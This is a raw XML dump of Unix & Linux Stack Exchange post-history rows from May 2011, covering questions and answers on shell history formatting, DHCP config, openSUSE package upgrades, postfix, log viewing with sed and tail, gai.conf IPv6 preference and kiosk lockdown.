  <row Id="33444" PostHistoryTypeId="2" PostId="13476" RevisionGUID="089e9ada-94de-4a18-9673-3e1ec5bcd380" CreationDate="2011-05-20T04:23:28.503" UserId="5842" Text="Try with this syntax:&#xD;&#xA;&#xD;&#xA;    set history=(2000 &quot;%h\t%T\t%R\n&quot;)&#xD;&#xA;&#xD;&#xA;To get a full date:&#xD;&#xA;&#xD;&#xA;    set history=(2000 &quot;%h %D/%W/%Y %T %R\n&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Demo:&#xD;&#xA;&#xD;&#xA;    $ set history=(2000 &quot;%h %D/%W/%Y %T %R\n&quot;)&#xD;&#xA;    $ history &#xD;&#xA;         1 20/05/2011 6:27 set prompt=&quot;$ &quot;&#xD;&#xA;         2 20/05/2011 6:27 set history= ( 2000 &quot;%h %D/%W/%Y %T %R\n&quot; )&#xD;&#xA;         3 20/05/2011 6:27 history&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33445" PostHistoryTypeId="2" PostId="13477" RevisionGUID="72e5ea8c-f84c-4070-b5db-030bda7276f9" CreationDate="2011-05-20T04:35:37.277" UserId="6960" Text="E.g.: what does&#xD;&#xA;&#xD;&#xA;	supersede domain-name &quot;SOMETHING.COM FOO.ORG&quot;;&#xD;&#xA;&#xD;&#xA;exactly mean?" />
  <row Id="33446" PostHistoryTypeId="1" PostId="13477" RevisionGUID="72e5ea8c-f84c-4070-b5db-030bda7276f9" CreationDate="2011-05-20T04:35:37.277" UserId="6960" Text="What is supersede in a DHCP config?" />
  <row Id="33447" PostHistoryTypeId="3" PostId="13477" RevisionGUID="72e5ea8c-f84c-4070-b5db-030bda7276f9" CreationDate="2011-05-20T04:35:37.277" UserId="6960" Text="édhcpà" />
  <row Id="33448" PostHistoryTypeId="17" PostId="13479" RevisionGUID="b03980ac-31df-4e40-a333-5c01d3fdf52a" CreationDate="2011-05-20T05:12:02.830" UserId="-1" Comment="from http://stackoverflow.com/questions/6066940/how-to-update-gcc-of-opensuse-11-2/6066998#6066998" Text="" />
  <row Id="33449" PostHistoryTypeId="2" PostId="13479" RevisionGUID="3f8070a2-f20c-4a18-946e-62bad571fe8a" CreationDate="2011-05-20T02:54:04.020" UserId="7064" Text="You might find the [OpenSUSE Build Service]() useful; there are [packages in the `devel:gcc` project](https://build.opensuse.org/package/show?package=gcc45&amp;project=devel%3Agcc).&#xD;&#xA;&#xD;&#xA;I believe if you add the URL http://download.opensuse.org/repositories/devel:/gcc/openSUSE_11.2/ to your YaST configuration, you ought to be able to install those packages. (Though the status on the website looks _broken_, I wonder how long that'll be..)&#xD;&#xA;&#xD;&#xA;All that said, I'd like to suggest that you _not_ do your upgrade; SuSE goes to some effort to rebuild the entire distribution with the specific compiler _and not break ABI compatibility with updates_. Changing versions wholesale _might_ break ABI compatibility with tools you compile, and either require rebuilding system-installed libraries, or backing out the changes.&#xD;&#xA;&#xD;&#xA;If you can just upgrade the distribution to one that supports the gcc 4.5 branch, that'd be a safer option. (No, I've never personally seen ABI breakage when upgrading the compiler. But that doesn't mean it won't happen to you. :)" />
  <row Id="33450" PostHistoryTypeId="2" PostId="13478" RevisionGUID="6267bdc6-8b5b-4626-9336-6278206cf85c" CreationDate="2011-05-20T02:40:37.820" UserDisplayName="Owen" Text="Hi All,&#xD;&#xA;&#xD;&#xA;I have OpenSuse 11.2 with gcc version 4.4.1. I would like to update my gcc version to 4.5.1. I have downloaded gcc-4.5-19.1.i586.rpm. When I rpm install it, it's asking for gcc45-4.5.1_20101208-9.8.i586.rpm which is a dependency so I downloaded it. Now when I rpm install gcc45, it's asking for a lot of dependencies. &#xD;&#xA;&#xD;&#xA;I remember downloading gcc 4.3 and it's dependencies for Opensuse 11.2 through yaST : &#xD;&#xA;    &#xD;&#xA;    YaST --install  automake autoconf libtool gcc gcc43 gcc43-c++\&#xD;&#xA;    gcc-c++ libcom_err-devel alsa-devel docbook5-xsl-stylesheets\&#xD;&#xA;    texlive texlive-bin libxml2-devel zlib-devel gettext-tools\&#xD;&#xA;    readline-devel ncurses-devel libstdc++43-devel\&#xD;&#xA;    glibc-devel linux-kernel-headers gperf indent doxygen\&#xD;&#xA;    xorg-x11-fonts-devel xorg-x11-libX11-devel xorg-x11-libXau-devel\&#xD;&#xA;    xorg-x11-libxcb-devel xorg-x11-libXdmcp-devel xorg-x11-proto-devel\&#xD;&#xA;    xorg-x11-xtrans-devel xorg-x11-util-devel bison cvs&#xD;&#xA;&#xD;&#xA;What about for gcc 4.5 ? how do I download it's dependencies for 11.2? &#xD;&#xA;" />
  <row Id="33451" PostHistoryTypeId="1" PostId="13478" RevisionGUID="6267bdc6-8b5b-4626-9336-6278206cf85c" CreationDate="2011-05-20T02:40:37.820" UserDisplayName="Owen" Text="how to Update gcc of OpenSuse 11.2?" />
  <row Id="33452" PostHistoryTypeId="3" PostId="13478" RevisionGUID="6267bdc6-8b5b-4626-9336-6278206cf85c" CreationDate="2011-05-20T02:40:37.820" UserDisplayName="Owen" Text="écççàécàélinuxàégccàéopensuseà" />
  <row Id="33453" PostHistoryTypeId="17" PostId="13478" RevisionGUID="1580a6f5-335d-447a-bae8-8e4679a2b749" CreationDate="2011-05-20T05:12:02.830" UserId="-1" Comment="from http://stackoverflow.com/questions/6066940/how-to-update-gcc-of-opensuse-11-2" Text="" />
  <row Id="33454" PostHistoryTypeId="2" PostId="13480" RevisionGUID="f4ade170-79fd-44ff-8d14-22adb29867c0" CreationDate="2011-05-20T05:31:11.270" UserId="3468" Text="Hello I have a Debian/Linux Lenny LAMP server w/Plesk Panel 10.2. &#xD;&#xA;&#xD;&#xA;I have a PHP/MySQL webapp deployed in a Plesk &quot;webspace&quot;. I want to enforce SSL on site-wide.&#xD;&#xA;&#xD;&#xA;I forward port 80 to 443?  For my single domain cert, do I forward www.domain.com to domain.com or do I forward domain.com to www.domain.com?&#xD;&#xA;&#xD;&#xA;This happens in .htaccess? some vhost config file?" />
  <row Id="33455" PostHistoryTypeId="1" PostId="13480" RevisionGUID="f4ade170-79fd-44ff-8d14-22adb29867c0" CreationDate="2011-05-20T05:31:11.270" UserId="3468" Text="Enforce site-wide SSL on Debian LAMP" />
  <row Id="33456" PostHistoryTypeId="3" PostId="13480" RevisionGUID="f4ade170-79fd-44ff-8d14-22adb29867c0" CreationDate="2011-05-20T05:31:11.270" UserId="3468" Text="ésslà" />
  <row Id="33457" PostHistoryTypeId="2" PostId="13481" RevisionGUID="78ae909f-29ee-47f1-969a-3adad2e8c478" CreationDate="2011-05-20T05:37:10.780" UserId="7620" Text="I am trying to set up postfix with dovecot. I can telnet to localhost 25 and send a message to accounts on the server.&#xD;&#xA;&#xD;&#xA;However, when I try to telnet to port 25 on this server from another server I get &quot;421 Cannot connect to SMTP server&quot; ... &quot;connect error 10060&quot;.&#xD;&#xA;&#xD;&#xA;The firewall is open right now:&#xD;&#xA;&#xD;&#xA;	Chain INPUT (policy ACCEPT)&#xD;&#xA;	target     prot opt source               destination         &#xD;&#xA;	&#xD;&#xA;	Chain FORWARD (policy ACCEPT)&#xD;&#xA;	target     prot opt source               destination         &#xD;&#xA;	&#xD;&#xA;	Chain OUTPUT (policy ACCEPT)&#xD;&#xA;	target     prot opt source               destination&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there some setting in main.cf which tells it whether or not it should listen on port 25 or 587 or whatever?&#xD;&#xA;" />
  <row Id="33458" PostHistoryTypeId="1" PostId="13481" RevisionGUID="78ae909f-29ee-47f1-969a-3adad2e8c478" CreationDate="2011-05-20T05:37:10.780" UserId="7620" Text="postfix doesn't respond on 25 from external server" />
  <row Id="33459" PostHistoryTypeId="3" PostId="13481" RevisionGUID="78ae909f-29ee-47f1-969a-3adad2e8c478" CreationDate="2011-05-20T05:37:10.780" UserId="7620" Text="émailàépostfixà" />
  <row Id="33460" PostHistoryTypeId="2" PostId="13482" RevisionGUID="eecb828d-90a8-4462-9cda-b5983d2a3890" CreationDate="2011-05-20T05:39:32.150" UserId="5842" Text="A window manager's task it to do window placement/layout (tiling, overlapping, resizing, ...), add decorations (min/max/close buttons, window menu, pretty title bar, ...), deal with input focus policies (focus follow mouse for instance), and that's about it.&#xD;&#xA;&#xD;&#xA;When people refer to desktop environments, they usually mean a window manager plus a set of base applications (taskbar (with widgets), application launch menu, system configuration panel, text editor and basic utilities, etc...).&#xD;&#xA;&#xD;&#xA;So a window manager is one part of a desktop environment." />
  <row Id="33461" PostHistoryTypeId="2" PostId="13483" RevisionGUID="c379f1d8-6636-48fc-9a11-1412e1e73fb3" CreationDate="2011-05-20T05:40:30.153" UserId="5535" Text="A Desktop Environment provides other things like drag-and-drop, hotkeys, a clipboard and other accoutrements we normally associate with a &quot;modern&quot; GUI operating system.&#xD;&#xA;&#xD;&#xA;The Window Manager is (usually) a major part of the Desktop Environment. It is responsible for the placement and appearance of windows and often for special &quot;eye candy&quot; effects and compositing.&#xD;&#xA;" />
  <row Id="33462" PostHistoryTypeId="2" PostId="13484" RevisionGUID="e5327d56-caf6-45fd-a7aa-968386fb6488" CreationDate="2011-05-20T05:47:30.927" UserId="3860" Text="In English, *supersede* means (from OED)&#xD;&#xA;&#xD;&#xA;&gt; To take the place of (something set aside or abandoned); to succeed to the place occupied by; to serve, be adopted or accepted instead of. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From `man dhclient.conf`&#xD;&#xA;&#xD;&#xA;&gt; The supersede statement&#xD;&#xA;&#xD;&#xA;&gt;        supersede [ option declaration ] ;&#xD;&#xA;&#xD;&#xA;&gt;      If  for  some  option the client should always use a locally-configured&#xD;&#xA;     value or values rather than whatever is supplied by the  server,  these&#xD;&#xA;     values can be defined in the supersede statement.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So, for instance, you could write:&#xD;&#xA;&#xD;&#xA;    supersede host-name &quot;myCoolName&quot;;" />
  <row Id="33463" PostHistoryTypeId="5" PostId="13480" RevisionGUID="8bc8a431-bd0d-4d4e-9010-b37734f27f20" CreationDate="2011-05-20T05:52:03.187" UserId="1925" Comment="Fixed English and formatted for clarity." Text="I have a Debian/Linux Lenny LAMP server w/Plesk Panel 10.2. I have a PHP/MySQL webapp deployed in a Plesk &quot;webspace&quot;.&#xD;&#xA;&#xD;&#xA;I want to enforce SSL on site-wide.&#xD;&#xA;&#xD;&#xA;Do I just forward port 80 to 443?  For my single domain cert, do I forward www.domain.com to domain.com or do I forward domain.com to www.domain.com?&#xD;&#xA;&#xD;&#xA;Should this happen with .htaccess or some vhost config file?" />
  <row Id="33464" PostHistoryTypeId="2" PostId="13485" RevisionGUID="1f91ca7e-72d5-486a-af29-131be7a6a65e" CreationDate="2011-05-20T05:53:57.227" UserId="1925" Text="It sounds like you are listening on `127.0.0.1` but not `0.0.0.0` or whatever your specific interface address is. This means the port is open to the local host but not the external interface. Check the postfix config file for what interface is being listened on.&#xD;&#xA;&#xD;&#xA;Check this setting in particular:&#xD;&#xA;&#xD;&#xA;    inet_interfaces = all" />
  <row Id="33465" PostHistoryTypeId="5" PostId="13475" RevisionGUID="808288e6-c4cb-43b7-b9ad-6dfd1d5a2bf9" CreationDate="2011-05-20T05:57:45.617" UserId="1925" Comment="added 6 characters in body" Text="What exactly is the difference between between a Window Manager and a Desktop Environment? E.g.: [sawfish][1] vs. [gnome][2].&#xD;&#xA;&#xD;&#xA;  [1]: https://secure.wikimedia.org/wikipedia/en/wiki/Sawfish_%28window_manager%29&#xD;&#xA;  [2]: https://secure.wikimedia.org/wikipedia/en/wiki/GNOME" />
  <row Id="33466" PostHistoryTypeId="2" PostId="13486" RevisionGUID="e2372e74-c129-4eea-81b0-d3cd2664dc09" CreationDate="2011-05-20T06:11:10.603" UserId="1925" Text="It sounds like the `adduser` script you ran is broken in that it ran two different password setting programs. It's possible that the first one was a samba password or other alternate password system, but it's more likely just two different versions of the main system password program." />
  <row Id="33467" PostHistoryTypeId="25" PostId="13475" RevisionGUID="2a49b684-dfd2-4d62-9454-594e7cf1face" CreationDate="2011-05-20T06:12:25.690" Comment="http://twitter.com/#!/StackUnix/status/71458234099183616" />
  <row Id="33468" PostHistoryTypeId="2" PostId="13487" RevisionGUID="254aff0c-f0bf-4fef-ba2a-d86004f3e3f6" CreationDate="2011-05-20T06:14:12.090" UserId="6960" Text="According to: http://16s.us/Linux/dm-crypt.txt&lt;br&gt;&#xD;&#xA;It's better to use only dm-crypt, because LUKS leaves a trace:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;http://16s.us/pics/dm-crypt-no-luks.png vs. http://16s.us/pics/dm-crypt-with-luks.png&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;That's OK. But:&lt;br&gt;&#xD;&#xA;Q: What are the most secure cryptsetup paramateres to use? E.g.: &quot;aes-cbc-essiv:sha512&quot; is better then the default. Also the default cryptsetup uses 256bit AES, but it could be (max?) 512bit. How to create an Encrypted partition with the best parameters? (best=offers the biggest security.)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="33469" PostHistoryTypeId="1" PostId="13487" RevisionGUID="254aff0c-f0bf-4fef-ba2a-d86004f3e3f6" CreationDate="2011-05-20T06:14:12.090" UserId="6960" Text="What are the most secure cryptsetup parameters to created an Encrypted filesystem?" />
  <row Id="33470" PostHistoryTypeId="3" PostId="13487" RevisionGUID="254aff0c-f0bf-4fef-ba2a-d86004f3e3f6" CreationDate="2011-05-20T06:14:12.090" UserId="6960" Text="ésecurityà" />
  <row Id="33473" PostHistoryTypeId="2" PostId="13489" RevisionGUID="dc5d8b3f-6027-4b7d-907e-2876b38e4191" CreationDate="2011-05-20T06:23:07.543" UserId="7621" Text="Hi All, &#xD;&#xA;&#xD;&#xA;I just installed QT 4.7.3 in OpenSuse 11.2 (which currently has 4.5.3). I did a configure, gmake, and gmake install. But when I check qmake's version, it's still returning 4.5.3. &#xD;&#xA;&#xD;&#xA;What do you think should I do? " />
  <row Id="33474" PostHistoryTypeId="1" PostId="13489" RevisionGUID="dc5d8b3f-6027-4b7d-907e-2876b38e4191" CreationDate="2011-05-20T06:23:07.543" UserId="7621" Text="how to Update QT 4.5.3 of OpenSuse 11.2 to QT 4.7.3?" />
  <row Id="33475" PostHistoryTypeId="3" PostId="13489" RevisionGUID="dc5d8b3f-6027-4b7d-907e-2876b38e4191" CreationDate="2011-05-20T06:23:07.543" UserId="7621" Text="éopensuseàécççà" />
  <row Id="33476" PostHistoryTypeId="2" PostId="13490" RevisionGUID="a271c1dd-0710-46f3-857c-b10ed490cefd" CreationDate="2011-05-20T07:07:29.767" UserId="6960" Text="Dear community!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Are there any better solution to this?&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	tail -200 /var/log/messages | head -100&#xD;&#xA;&#xD;&#xA;Other methods to achieve this output exists? (not more complex, I'm looking for e.g.: simpler solutions!)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="33477" PostHistoryTypeId="1" PostId="13490" RevisionGUID="a271c1dd-0710-46f3-857c-b10ed490cefd" CreationDate="2011-05-20T07:07:29.767" UserId="6960" Text="Better solutions for this: tail -200 /var/log/messages | head -100" />
  <row Id="33478" PostHistoryTypeId="3" PostId="13490" RevisionGUID="a271c1dd-0710-46f3-857c-b10ed490cefd" CreationDate="2011-05-20T07:07:29.767" UserId="6960" Text="ébashà" />
  <row Id="33479" PostHistoryTypeId="5" PostId="13467" RevisionGUID="d0f112d7-d4dc-4dc0-b076-cb7601fa93dd" CreationDate="2011-05-20T07:14:14.973" UserId="885" Comment="GNU grep can do it; explain the snippets" Text="Standard grep can't do this, but [recent versions of GNU grep can](http://unix.stackexchange.com/questions/13466/can-grep-output-only-specified-groupings-that-match/13472#13472). You can turn to sed, awk or perl. Here are a few examples that do what you want on your sample input; they behave slightly differently in corner cases.&#xD;&#xA;&#xD;&#xA;Replace `foobar word other stuff` by `word`, print only if a replacement is done.&#xD;&#xA;&#xD;&#xA;    sed -n -e 's/^foobar \([[:alnum:]]\+\).*/\1/p'&#xD;&#xA;&#xD;&#xA;If the first word is `foobar`, print the second word.&#xD;&#xA;&#xD;&#xA;    awk '$1 == &quot;foobar&quot; {print $2}'&#xD;&#xA;&#xD;&#xA;Strip `foobar` if it's the first word, and skip the line otherwise; then strip everything after the first whitespace and print.&#xD;&#xA;&#xD;&#xA;    perl -lne 's/^foobar\s+// or next; s/\s.*//; print'&#xD;&#xA;" />
  <row Id="33480" PostHistoryTypeId="5" PostId="13490" RevisionGUID="50dddbdd-decf-4be8-b511-7e43f875345f" CreationDate="2011-05-20T07:17:15.423" UserId="1925" Comment="deleted 57 characters in body" Text="Are there any better solution to this?&#xD;&#xA;&#xD;&#xA;    tail -200 /var/log/messages | head -100&#xD;&#xA;&#xD;&#xA;Are there other methods to achieve this output? (not more complex, I'm looking for simpler solutions!)" />
  <row Id="33481" PostHistoryTypeId="2" PostId="13491" RevisionGUID="24ea370a-322f-43c2-8e66-bddcaf01764a" CreationDate="2011-05-20T07:28:23.860" UserId="7623" Text="imagemagick can do it in one step:&#xD;&#xA;&#xD;&#xA;convert in.pdf -crop 50%x0 +repage out.pdf&#xD;&#xA;" />
  <row Id="33482" PostHistoryTypeId="2" PostId="13492" RevisionGUID="19728f03-9afd-4bef-9ffb-d12a860f32c8" CreationDate="2011-05-20T07:35:06.560" UserId="1131" Text="If you know the starting line number (counted from the beginning of the file), you can use `sed` like this to output the above lines intervall:&#xD;&#xA;&#xD;&#xA;    $ for i in `seq 500`; do echo $i; done &gt; t&#xD;&#xA;    $ sed -n '300,400p' t&#xD;&#xA;    300&#xD;&#xA;    ...&#xD;&#xA;    400&#xD;&#xA;&#xD;&#xA;(which prints the lines 300 until 400)&#xD;&#xA;&#xD;&#xA;If you don't know the start line (address in sed lingo), you can reverse the input, use sed and reverese again:&#xD;&#xA;&#xD;&#xA;    $ tac t | sed -n '101,201p' | tac&#xD;&#xA;    300&#xD;&#xA;    ...&#xD;&#xA;    400&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33483" PostHistoryTypeId="5" PostId="13492" RevisionGUID="39c44d7d-ec01-45cf-9ac9-4530edba6510" CreationDate="2011-05-20T08:57:38.713" UserId="1131" Comment="+ address syntax" Text="If you know the starting line number (counted from the beginning of the file), you can use `sed` like this to output the above lines intervall:&#xD;&#xA;&#xD;&#xA;    $ for i in `seq 500`; do echo $i; done &gt; t&#xD;&#xA;    $ sed -n '300,400p' t&#xD;&#xA;    300&#xD;&#xA;    ...&#xD;&#xA;    400&#xD;&#xA;&#xD;&#xA;(which prints the lines 300 until 400)&#xD;&#xA;&#xD;&#xA;If you don't know the start line (address in sed lingo), you can reverse the input, use sed and reverese again:&#xD;&#xA;&#xD;&#xA;    $ tac t | sed -n '101,201p' | tac&#xD;&#xA;    300&#xD;&#xA;    ...&#xD;&#xA;    400&#xD;&#xA;&#xD;&#xA;You can also use sed with a start address and specify how many following lines should be printed:&#xD;&#xA;&#xD;&#xA;    $ tac t | sed -n '101,+100p' | tac&#xD;&#xA;    300&#xD;&#xA;    ...&#xD;&#xA;    400&#xD;&#xA;" />
  <row Id="33484" PostHistoryTypeId="2" PostId="13493" RevisionGUID="da717dec-1769-4e23-8d80-1d0e5abfc586" CreationDate="2011-05-20T09:10:15.633" UserId="1131" Text="If you want to browse through a file interactively, just use `less log`. You can exit less via `q`, `h` is the help screen.  Example session:&#xD;&#xA;&#xD;&#xA;    :G&#xD;&#xA;    :1000k&#xD;&#xA;    :100&#xD;&#xA;    :f&#xD;&#xA;    :b&#xD;&#xA;&#xD;&#xA;(which means: jump to the end, move 1000 lines up, 100 lines down, one screen forward and one screen backward)" />
  <row Id="33485" PostHistoryTypeId="25" PostId="13477" RevisionGUID="e0e7ce18-92ca-4550-9658-158170c9f382" CreationDate="2011-05-20T09:12:26.360" Comment="http://twitter.com/#!/StackUnix/status/71503536638275584" />
  <row Id="33486" PostHistoryTypeId="2" PostId="13494" RevisionGUID="5dd93222-4e06-4540-b85a-440987ec82f4" CreationDate="2011-05-20T09:15:36.397" UserId="7624" Text="**Try this:**&#xD;&#xA;&#xD;&#xA;    $ php -a&#xD;&#xA;    Interactive mode enabled&#xD;&#xA;&#xD;&#xA;    &lt;?php echo &quot;hi!&quot;; ?&gt;&#xD;&#xA;&#xD;&#xA;The press Ctrl-d&#xD;&#xA;" />
  <row Id="33487" PostHistoryTypeId="2" PostId="13495" RevisionGUID="cc04334f-676a-49e0-ac0b-ef5b4c67bb94" CreationDate="2011-05-20T09:54:22.527" UserId="7609" Text="I'm fairly sure the issue was caused by my (dumb) decision to use a combined source + build directory. Cleaning up my environment and re-building to a different folder appears to have addressed this issue.&#xD;&#xA;&#xD;&#xA;I'll edit this post once I have a fully successful compilation just to make sure." />
  <row Id="33488" PostHistoryTypeId="2" PostId="13496" RevisionGUID="77c8e853-c460-42e1-b603-71523c3eaa7a" CreationDate="2011-05-20T10:12:06.970" UserId="7627" Text="Is there an alternative `find` program with a more conventional CLI interface? `find` works and expects parameters in a painfully different way from most other utils. " />
  <row Id="33489" PostHistoryTypeId="1" PostId="13496" RevisionGUID="77c8e853-c460-42e1-b603-71523c3eaa7a" CreationDate="2011-05-20T10:12:06.970" UserId="7627" Text="Alternative to find?" />
  <row Id="33490" PostHistoryTypeId="3" PostId="13496" RevisionGUID="77c8e853-c460-42e1-b603-71523c3eaa7a" CreationDate="2011-05-20T10:12:06.970" UserId="7627" Text="éfindàéalternativesà" />
  <row Id="33491" PostHistoryTypeId="5" PostId="13495" RevisionGUID="4ff0fe3f-8a35-4bbb-a546-9e4d045fa6e8" CreationDate="2011-05-20T10:12:57.533" UserId="7609" Comment="deleted 97 characters in body" Text="I'm fairly sure the issue was caused by my (dumb) decision to use a combined source + build directory. Cleaning up my environment and re-building to a different folder has addressed this issue." />
  <row Id="33492" PostHistoryTypeId="5" PostId="13491" RevisionGUID="361744f7-f0b8-44a8-800e-27335303a164" CreationDate="2011-05-20T10:23:10.493" UserId="73" Comment="added 6 characters in body" Text="Imagemagick can do it in one step:&#xD;&#xA;&#xD;&#xA;    $ convert in.pdf -crop 50%x0 +repage out.pdf&#xD;&#xA;" />
  <row Id="33493" PostHistoryTypeId="5" PostId="1042" RevisionGUID="28852675-ea3c-4c75-bae8-35bb87c75ba7" CreationDate="2011-05-20T10:32:32.460" UserId="688" Comment="added 2 characters in body" Text="This is my current prompt definition:&#xD;&#xA;&#xD;&#xA;    PS1=$'%F{063}%1~%f %(1v.%F{099}%1v %f.)%F{063}%%%f '&#xD;&#xA;    RPROMPT='$VIMODE %m'&#xD;&#xA;&#xD;&#xA;and I'm working on integrating [this][1]. Basically I'm starting to find it very unreadable.&#xD;&#xA;&#xD;&#xA;Is there any way that I can make it multiline in a way perhaps similar to what Perl can do with regex's (e.g., what /x mode does. Like `m{ ... }x`. the `...` can be multiline in that)? &#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA;    PS1=$'&#xD;&#xA;       %F{063}%1 # format blue&#xD;&#xA;          ~      # show current directory&#xD;&#xA;       %f&#xD;&#xA;       %(1v.%F{099}%1v %f.) # show git branch if git repo in purple&#xD;&#xA;       %F{063}   # format blue&#xD;&#xA;          %#     # % for user and # for root&#xD;&#xA;       %f '&#xD;&#xA;    RPROMPT='$VIMODE %m'&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1022/is-it-possible-to-display-stuff-below-the-prompt-at-a-prompt" />
  <row Id="33494" PostHistoryTypeId="5" PostId="13263" RevisionGUID="89811ba5-8653-440b-8e7f-36c92a5f0471" CreationDate="2011-05-20T10:34:59.620" UserId="7525" Comment="added some expiremental data" Text="As Gilles says, use gai.conf&#xD;&#xA;Please see &#xD;&#xA;&#xD;&#xA;http://docs.funtoo.org/wiki/IPv6_Networking#Prefer_IPv4_over_IPv6&#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;http://www.getipv6.info/index.php/Customer_problems_that_could_occur#GNU.2FLinux&#xD;&#xA;&#xD;&#xA;*Don't have enough points to make this a comment :(*&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;Say we have two hosts www.he.net and www.ripe.net&#xD;&#xA;&#xD;&#xA;    $ host www.he.net&#xD;&#xA;    www.he.net is an alias for he.net.&#xD;&#xA;    he.net has address 216.218.186.2&#xD;&#xA;    he.net has IPv6 address 2001:470:0:76::2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    $ host www.ripe.net&#xD;&#xA;    www.ripe.net has address 193.0.6.139&#xD;&#xA;    www.ripe.net has IPv6 address 2001:67c:2e8:22::c100:68b&#xD;&#xA;&#xD;&#xA;**Case 1: Prefer IPV4**&#xD;&#xA;&#xD;&#xA;Append the following to /etc/gai.conf&#xD;&#xA;&#xD;&#xA;    precedence ::ffff:0:0/96  100&#xD;&#xA;&#xD;&#xA;then we have:&#xD;&#xA;&#xD;&#xA;    $ telnet www.ripe.net 81&#xD;&#xA;    Trying 193.0.6.139...&#xD;&#xA;    ^C&#xD;&#xA;    $ telnet www.he.net 81&#xD;&#xA;    Trying 216.218.186.2...&#xD;&#xA;&#xD;&#xA;**Case 1: Prefer IPV6 for specific hosts**&#xD;&#xA;&#xD;&#xA;If we append&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    precedence 2001:470::/32 100&#xD;&#xA;&#xD;&#xA;then we have&#xD;&#xA;&#xD;&#xA;    $ telnet www.ripe.net 81&#xD;&#xA;    Trying 193.0.6.139...&#xD;&#xA;    ^C&#xD;&#xA;    $ telnet www.he.net 81&#xD;&#xA;    Trying 2001:470:0:76::2...&#xD;&#xA;    ^C&#xD;&#xA;&#xD;&#xA;So we seem to prefer that network for ipv6 and ipv4 everywhere else. &#xD;&#xA;&#xD;&#xA;**Case 3: Prefer ipv4 for specific hosts**&#xD;&#xA;&#xD;&#xA;Wondering if we invert the mask the reverse will be true." />
  <row Id="33495" PostHistoryTypeId="5" PostId="13487" RevisionGUID="4f7a1f4c-70da-4403-97dc-b4654779c43b" CreationDate="2011-05-20T10:47:45.177" UserId="73" Comment="deleted 81 characters in body" Text="According to http://16s.us/Linux/dm-crypt.txt, it's better to use [only dm-crypt](http://16s.us/pics/dm-crypt-no-luks.png), because LUKS [leaves a trace](http://16s.us/pics/dm-crypt-with-luks.png).&#xD;&#xA;&#xD;&#xA;That's OK. But, what are the most secure cryptsetup parameters to use? E.g.: &quot;aes-cbc-essiv:sha512&quot; is better then the default. Also the default cryptsetup uses 256bit AES, but it could be (max?) 512bit. Which parameters create an encrypted partition with the most security?" />
  <row Id="33497" PostHistoryTypeId="17" PostId="13499" RevisionGUID="294bc95a-1d06-44c8-b476-012a715a9431" CreationDate="2011-05-20T11:30:37.527" UserId="-1" Comment="from http://stackoverflow.com/questions/6070388/opensuse-linux-kiosk-setup/6071106#6071106" Text="" />
  <row Id="33498" PostHistoryTypeId="2" PostId="13499" RevisionGUID="168d68d8-7c3f-4607-b858-a1b6ca18de2e" CreationDate="2011-05-20T11:13:08.820" UserDisplayName="static_rtti" Text="I don't have any experience with it, but you should probably use [Suse Studio][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://susestudio.com/" />
  <row Id="33499" PostHistoryTypeId="2" PostId="13498" RevisionGUID="7ad7bced-3983-4784-81e2-3b9e0977824c" CreationDate="2011-05-20T10:10:30.047" UserDisplayName="crawf" Text="Working on setting up a kiosk with openSUSE, where users can only view a single webpage. Obviously open to any Linux distro. Also would prefer to use Gnome.&#xD;&#xA;&#xD;&#xA;I'm wanting only Firefox to be available (which will be displaying a local webpage), a link on the desktop and the home page to open full screen when booted up and logged in automatically.&#xD;&#xA;&#xD;&#xA;Just interested in some guidance, or if there are any tools that could be used to 'lock down' the system.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="33500" PostHistoryTypeId="1" PostId="13498" RevisionGUID="7ad7bced-3983-4784-81e2-3b9e0977824c" CreationDate="2011-05-20T10:10:30.047" UserDisplayName="crawf" Text="openSUSE Linux Kiosk Setup" />
  <row Id="33501" PostHistoryTypeId="3" PostId="13498" RevisionGUID="7ad7bced-3983-4784-81e2-3b9e0977824c" CreationDate="2011-05-20T10:10:30.047" UserDisplayName="crawf" Text="élinuxàéopensuseàékioskà" />
  <row Id="33502" PostHistoryTypeId="17" PostId="13498" RevisionGUID="98c00330-f43b-439c-bcc1-c3d26fb13119" CreationDate="2011-05-20T11:30:37.527" UserId="-1" Comment="from http://stackoverflow.com/questions/6070388/opensuse-linux-kiosk-setup" Text="" />
  <row Id="33503" PostHistoryTypeId="2" PostId="13500" RevisionGUID="bee12737-77dc-41ed-a762-58d06d97092b" CreationDate="2011-05-20T11:38:23.690" UserId="6921" Text="Rather old, but in-detail article on locking the user in a fullscreen browser with fvwm by one of fvwm developers: http://www.tldp.org/LDP/LGNET/128/adam1.html - as far as I see, all of commands must still work.&#xD;&#xA;&#xD;&#xA;You can additionally assign no-ops to firefox hotkeys with fvwm or use [R-kiosk][1] to make the lock-down even more efficient. I wouldn't even show the desktop or icons - it's unnecessary.&#xD;&#xA;&#xD;&#xA;As you're done with this, just use any firewall supporting whitelists and forbid all the pages but these you want users to browse.&#xD;&#xA;&#xD;&#xA;I would as well forbid firefox to search for updates to addons so that users could not see the windows they don't need to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-us/firefox/addon/r-kiosk/" />
